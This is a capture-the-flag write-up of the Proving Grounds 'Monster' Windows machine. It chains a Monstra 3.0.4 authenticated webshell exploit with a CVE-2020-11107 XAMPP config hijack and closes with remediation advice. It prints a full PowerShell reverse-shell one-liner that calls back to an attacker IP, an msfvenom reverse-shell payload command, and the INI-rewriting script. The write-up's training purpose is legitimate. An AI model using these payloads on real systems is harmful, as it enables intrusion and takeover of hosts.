
This Monster OffSec Practice writeup walks through the hard Proving Grounds Windows host: a Monstra 3.0.4 authenticated RCE for a foothold as mike, then a XAMPP xampp-control.ini config hijack to escalate to administrator (CVE-2020-11107).
Summary
Monster is a hard Windows machine on OffSec Proving Grounds Practice. It runs an Apache/XAMPP stack serving a Monstra 3.0.4 blog. The admin panel’s Users tab leaks the administrator’s email address, and the local-part of that email turns out to be the account password — a reminder that enumeration data is also a password dictionary. Once authenticated, we abuse Monstra’s theme editor to drop a PHP webshell (public exploit EDB-52038) and pivot to an interactive reverse shell as the low-privileged web user mike.
For privilege escalation, the XAMPP version read from an on-disk properties.ini falls inside the vulnerable range of CVE-2020-11107. On a default install, C:\xampp\xampp-control.ini is writable by normal users, yet the XAMPP control panel is launched by a privileged account. By rewriting a path in that INI to point at our own executable, we get code execution as administrator the next time the panel starts.
Reconnaissance
I start with a full port sweep using RustScan, which finds open ports fast and then hands them to Nmap for service/version and default-script scanning (the flags after -- are passed straight to Nmap: -A enables OS detection, version detection, default scripts and traceroute):
rustscan -a 192.168.135.180 -- -A -oN target
| PORT | SERVICE | INFO |
|---|---|---|
| 80/tcp | Apache httpd 2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10 | HTTP title Mike Wazowski; TRACE enabled |
| 135/tcp | Microsoft Windows RPC | – |
| 139/tcp | NetBIOS-SSN | – |
| 443/tcp | Apache httpd 2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10 | SSL cert CN=localhost; same Mike Wazowski site over TLS |
| 445/tcp | Microsoft-DS (SMB) | – |
| 3389/tcp | Microsoft Terminal Services (RDP) | Host MIKE-PC; Windows 10 (build 10.0.19041) |
| 5040/tcp | unknown | – |
| 7680/tcp | pando-pub (Delivery Optimization) | – |
| 49664-49669/tcp | Microsoft Windows RPC | Dynamic RPC endpoints |
The important takeaways: this is a Windows 10 host (MIKE-PC) whose only real attack surface is the Apache web server on 80/443 — SMB and RDP are present but give nothing anonymously. The PHP/7.3.10 banner and the Apache build are classic signs of a XAMPP installation, which will matter later.
The site on ports 80 and 443 is a personal page themed around Mike Wazowski. Since the landing page is just a theme, I enumerate hidden content with feroxbuster:
feroxbuster -u http://192.168.135.180/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-C 404,403 -t 50 -x php,html,txt,bak -r
Here -C 404,403 filters out Not-Found/Forbidden noise, -t 50 runs 50 concurrent threads, -x php,html,txt,bak appends those extensions to each wordlist entry, and -r follows redirects. The scan reveals a /blog endpoint.
Visiting /blog, the footer advertises that it is powered by Monstra 3.0.4. Monstra is an abandoned flat-file PHP CMS (no database — content is stored as XML on disk), and version 3.0.4 is notorious for an authenticated remote code execution bug. “Authenticated” is the key word: before we can exploit it, we need valid panel credentials.
Initial access
Harvesting a password from the admin panel
Monstra’s admin panel lives at /blog/admin/. Even before logging in, the panel’s Users section discloses the registered accounts and their email addresses. There are two users, admin and mike, and the admin account is registered with the email wazowski@monster.pg.
A very common pattern on lab machines (and, unfortunately, in the real world) is a password derived directly from a profile field — the email local-part, the display name, or the company name. So before reaching for a wordlist, I try the local-part wazowski as the password for admin:
admin : wazowski
It works. The lesson is simple: every username, email and name you enumerate is also a candidate password — test those first.
Monstra 3.0.4 authenticated RCE (EDB-52038)
With valid credentials, I use the public exploit for Monstra 3.0.4, EDB-52038 (https://www.exploit-db.com/exploits/52038).
How the bug works: Monstra’s admin area includes a theme editor that lets a logged-in user create and edit template fragments called “chunks”. The editor writes those chunks straight to disk under the public theme directory /blog/public/themes/<theme>/, and crucially it lets you choose the filename and extension. There is no server-side allowlist on the chunk name, so a chunk saved as something.chunk.php lands in the web root with a .php extension and is executed by Apache’s PHP handler on the next request. In other words, the “edit your theme” feature is a direct authenticated file-write-to-RCE primitive.
The exploit automates the login and the chunk upload:
python3 52038.py "http://monster.pg/blog" admin wazowski
# Logging in...
# Login successful
# Preparing shell...
# Your shell is ready: http://monster.pg/blog/public/themes/default/4o7kj.chunk.php
Heads-up: the public PoC ships with broken Python indentation on its
if/elseblocks and a couple of truncated lines. It will not run as downloaded — read it and fix the indentation/complete the cut lines before executing. This is good general practice: always read exploit code before firing it, both to fix rot like this and to be sure it is not doing something you do not want.
Browsing to the printed URL gives a working command webshell running as the Apache/XAMPP service account.
Upgrading to an interactive reverse shell as mike
A single-request webshell is awkward, so I upgrade to a full reverse shell. First, start a listener — here Penelope, which auto-upgrades and manages Windows reverse shells:
penelope -O
Then I build a Base64-encoded PowerShell reverse-shell payload on my attack box. Encoding it avoids quoting/escaping problems when it is passed through the webshell. The one-liner opens a TCP socket back to my IP on port 4444, then loops reading data from the socket, executing each chunk with Invoke-Expression (iex), and writing the command output back — a classic PowerShell TCP reverse shell:
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.168",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText = [Convert]::ToBase64String($Bytes)
$EncodedText
Note the encoding uses [System.Text.Encoding]::Unicode (UTF-16LE), because PowerShell’s -EncodedCommand expects a Base64 string of UTF-16LE bytes. I then run the encoded blob from the webshell:
powershell -enc <ENCODED-TEXT>
The listener catches a shell as mike. The user flag is on Mike’s desktop:
type C:\Users\Mike\Desktop\local.txt
Privilege escalation
Fingerprinting XAMPP from an on-disk config file
The web stack is XAMPP, installed to C:\xampp. Rather than guess the version, I read it straight from the install’s own metadata:
type C:\xampp\properties.ini
The version line reports 7.3.x. This matters because XAMPP has a known local privilege escalation, CVE-2020-11107, affecting versions < 7.2.29, 7.3.x < 7.3.16, and 7.4.x < 7.4.4 — our 7.3.10 is squarely in range. Reading versions from on-disk *.ini/properties.ini files is a fast, reliable way to confirm a local exploit applies before you spend time on it.
Hijacking xampp-control.ini (CVE-2020-11107, EDB-50337)
How the bug works: the XAMPP GUI, xampp-control.exe, reads C:\xampp\xampp-control.ini to decide which module binaries and editor to launch. On a default C:\xampp install the directory inherits permissive ACLs from the drive root, so the BUILTIN\Users group can write to xampp-control.ini. But the control panel is typically started by a privileged user — an administrator session, an auto-logon, or an automated admin task. If a low-privileged attacker rewrites one of the executable paths in that INI to point at a malicious binary, that binary runs with the privileges of whoever launches the panel. It is the same idea as a weak-DACL service binary hijack, except the trigger is a GUI config file.
The public PoC is EDB-50337 (https://www.exploit-db.com/exploits/50337). First I confirm the file is writable and generate a reverse-shell executable with msfvenom (-p windows/x64/shell_reverse_tcp is a simple, non-staged connect-back shell; -f exe outputs a Windows PE):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f exe > rev.exe
Then I stage it at the exact path the exploit will inject, C:\temp\msf.exe:
mkdir C:\temp
move .\rev.exe C:\temp\msf.exe
dir C:\temp
# -a---- 7680 msf.exe
Finally, the core of the exploit rewrites the INI. It reads the third line of the file ((Get-Content $file)[2]), splits it on = to extract the current path value, and replaces every occurrence of that value with the path to our payload. On a default install that third line is the editor/module path the panel executes:
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
Within a few seconds — the moment the administrator’s automated process relaunches the control panel — the payload executes in the admin context and connects back to a listener waiting on port 4444:
[+] [New Reverse Shell] => MIKE-PC 192.168.135.180 Windows_10_Pro-x64 mike-pc\administrator Session <2>
We now have a shell as mike-pc\administrator and can read the proof flag from the Administrator desktop.
Conclusion
Monster chains two unpatched-software failures. The foothold rests on an abandoned CMS, Monstra 3.0.4, whose theme editor writes attacker-controlled, PHP-executable files into the web root — authenticated code execution by design — combined with a trivially guessable administrator password exposed through the panel’s own user list. The escalation is a textbook writable-configuration bug: XAMPP’s default C:\xampp ACLs let any user edit xampp-control.ini, and the control panel launched by a privileged user executes whatever path it finds there.
Defensively, the remediation is layered: retire end-of-life CMS platforms and never let content/template editors produce executable files; enforce strong admin passwords unrelated to email or display name; and patch XAMPP (>= 7.4.4) while tightening the C:\xampp DACL so unprivileged users cannot write the control-panel configuration. Simply installing the stack under C:\Program Files\ would have inherited restrictive ACLs and blocked the escalation outright.
Lessons learned
- Mine admin panels for password hints, not just usernames. The Monstra Users tab leaked
admin‘s emailwazowski@monster.pg; the local-partwazowskiwas the password. Always try email local-parts and display names as passwords before brute-forcing. - Public PoCs are often broken, by design or by copy-paste rot. EDB-52038 had broken
if/elseindentation and truncated lines and would not run until manually repaired — read and fix exploit code before firing it. - Fingerprint installed-software versions from on-disk config files.
C:\xampp\properties.inigave the exact XAMPP version that confirmed CVE-2020-11107 applicability;properties.ini/*.inifiles are a fast version oracle for local privesc. - Writable config executed by a privileged process is a privesc, not just a misconfig. A user-writable
xampp-control.inionly pays off because an administrator relaunches the control panel — watch for user-writable files that privileged or automated processes consume.